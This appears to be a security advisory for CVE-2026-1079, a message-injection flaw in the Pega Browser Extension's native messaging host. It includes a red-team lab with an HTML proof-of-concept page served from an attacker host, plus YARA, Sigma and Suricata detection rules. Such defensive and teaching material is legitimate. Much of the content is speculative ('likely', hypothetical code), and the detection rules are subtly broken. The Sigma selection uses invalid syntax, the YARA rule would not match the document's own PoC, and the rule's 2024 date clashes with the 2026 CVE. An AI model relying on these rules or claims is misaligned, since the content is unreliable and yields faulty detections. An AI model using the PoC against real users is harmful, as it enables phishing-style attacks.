CVE-2026-1079

Executive Summary

CVE-2026-1079 is a native messaging host vulnerability in the Pega Browser Extension (PBE) affecting all versions of Pega Robotic Automation where the extension is installed. The vulnerability allows a remote attacker to craft a malicious website that, when visited by a user with the PBE installed, can trigger an unexpected message box. This is a client-side attack vector relying on user interaction (navigating to a malicious site). The exact impact beyond the message box is unclear from the description, but it could potentially be used for phishing, social engineering, or as a stepping stone for further exploitation. No public exploit code, patch, or detailed technical analysis is currently available.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a browser extension vulnerability specific to the Pega ecosystem.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating that no official CVSS vector has been assigned by NVD. Based on the description, a reasonable assessment would be:

• Attack Vector (AV): Network (malicious website)
• Attack Complexity (AC): Low (no special conditions)
• Privileges Required (PR): None
• User Interaction (UI): Required (user must visit the site)
• Scope (S): Unchanged
• Confidentiality (C): None (message box only)
• Integrity (I): Low (could display misleading content)
• Availability (A): None

Estimated CVSS v3.1 Score: 4.3 (Medium) – based on AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Threat Level: Medium. The attack requires user interaction and currently only demonstrates a message box. However, the potential for abuse in social engineering attacks is significant.

Deep Dive & Mechanics

The vulnerability resides in the native messaging host component of the Pega Browser Extension. Native messaging hosts allow browser extensions to communicate with native applications installed on the user's machine. In this case, the PBE communicates with Pega Robotic Automation software.

The attack flow is as follows:

1. An attacker creates a website containing malicious JavaScript or HTML.
2. A user with the Pega Browser Extension installed visits this website.
3. The malicious code on the website interacts with the PBE's native messaging host, likely by sending crafted messages.
4. The native messaging host processes these messages and, due to insufficient input validation or improper handling, displays an unexpected message box to the user.

The message box could be used to:

• Trick the user into revealing credentials (phishing).
• Display fake system warnings to scare the user.
• Potentially trigger other actions if the native messaging host has additional exposed functionality.

The root cause is likely a lack of proper origin validation or message sanitization in the native messaging host. The extension should only accept messages from trusted sources (e.g., the Pega Robotic Automation application), but it appears to accept messages from any website.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code is within the native messaging host binary (likely a .exe or .dll on Windows, or a binary on macOS/Linux). The exact vulnerable function is unknown.

Hypothetical Vulnerable Code (C++ example):

// Vulnerable: No origin check
void OnNativeMessage(const std::string& message) {
    // Directly processes message from any source
    std::string title = ExtractTitle(message);
    std::string body = ExtractBody(message);
    ShowMessageBox(title, body);
}

Hypothetical Patched Code:

// Patched: Validate origin
void OnNativeMessage(const std::string& message, const std::string& origin) {
    if (origin != "chrome-extension://<valid_extension_id>") {
        // Reject message from untrusted origin
        return;
    }
    std::string title = ExtractTitle(message);
    std::string body = ExtractBody(message);
    ShowMessageBox(title, body);
}

Exploitation & Lab Setup

Red Team

Objective: Demonstrate the ability to trigger the message box.

Lab Setup:

1. Target Machine: Windows 10/11 with Pega Robotic Automation and Pega Browser Extension installed.
2. Attacker Machine: Any system with a web server (e.g., Python's http.server).

Exploit Steps:

1. Create an HTML file (exploit.html) with the following content:

   <!DOCTYPE html>
   <html>
   <head>
       <title>PBE Exploit PoC</title>
   </head>
   <body>
       <h1>Pega Browser Extension PoC</h1>
       <script>
           // Attempt to send a message to the native messaging host
           // The exact API call depends on the extension's implementation
           // This is a generic example
           if (window.chrome && chrome.runtime && chrome.runtime.sendMessage) {
               chrome.runtime.sendMessage(
                   "extension_id_here",
                   { action: "showMessage", title: "Security Alert", body: "Your system is compromised!" },
                   function(response) {
                       console.log("Response:", response);
                   }
               );
           } else {
               alert("PBE not detected.");
           }
       </script>
   </body>
   </html>
   

2. Host the file on the attacker's web server: python3 -m http.server 8080
3. On the target machine, open the browser and navigate to http://<attacker_ip>:8080/exploit.html.
4. Observe the unexpected message box.

Note: The exact extension_id and message format must be reverse-engineered from the PBE extension. This is a conceptual PoC.

Blue Team

Detection:

• Monitor for unusual browser extension activity, especially connections to unknown websites.
• Look for processes spawned by the browser that are not typical (e.g., PegaNativeMessagingHost.exe being called with unusual arguments).
• Enable browser extension logging if available.

Prevention:

• Block the installation of the Pega Browser Extension on managed devices unless explicitly required.
• Use application whitelisting to prevent unauthorized native messaging hosts from running.
• Educate users about the risks of visiting untrusted websites, especially when using browser extensions with native messaging capabilities.

Indicators of Compromise (IOCs)

• Network:
  • Connections to known malicious domains hosting the exploit page.
  • Unusual traffic patterns from the browser to internal or external IPs on non-standard ports.
• Host:
  • Presence of the Pega Browser Extension (com.pega.extension).
  • Execution of PegaNativeMessagingHost.exe (or equivalent) triggered by a browser process.
  • Unexpected message boxes appearing from the Pega Robotic Automation software.
• File:
  • The exploit HTML file (e.g., exploit.html, pbe_poc.html).
  • Any JavaScript files that interact with the native messaging host.

Detection Engineering

YARA Rule

rule CVE_2026_1079_Pega_Native_Messaging_Exploit {
    meta:
        description = "Detects HTML files attempting to exploit CVE-2026-1079 in Pega Browser Extension"
        author = "Valters IT"
        date = "2024-05-24"
        reference = "CVE-2026-1079"
    strings:
        $s1 = "chrome.runtime.sendMessage" nocase
        $s2 = "Pega" nocase
        $s3 = "nativeMessaging" nocase
        $s4 = "showMessage" nocase
    condition:
        all of ($s*) and filesize < 100KB
}

Sigma Rule

title: Pega Browser Extension Native Messaging Exploit Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential exploitation of CVE-2026-1079 via browser extension messaging
author: Valters IT
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\\PegaNativeMessagingHost.exe'
        ParentImage|endswith: '\\chrome.exe' or '\\firefox.exe' or '\\msedge.exe'
    condition: selection
falsepositives:
    - Legitimate use of Pega Robotic Automation
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-1079 Pega Browser Extension Exploit Attempt"; flow:to_server,established; content:"chrome.runtime.sendMessage"; http_client_body; content:"Pega"; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

1. Vendor Action: Pega must release a security update for the Pega Browser Extension that validates the origin of messages received by the native messaging host. The extension should only accept messages from the Pega Robotic Automation application itself.
2. User Action:
   • Disable or uninstall the Pega Browser Extension if not required.
   • Avoid visiting untrusted websites while the extension is enabled.
   • Be cautious of unexpected dialog boxes from any software.
3. Administrator Action:
   • Use Group Policy or MDM to block the installation of the Pega Browser Extension.
   • Monitor for the IOCs listed above.
   • Apply the vendor patch as soon as it becomes available.

Valters IT

{/* [Security Hash: 9ED66E5A55B1B81DF8211AE2] */}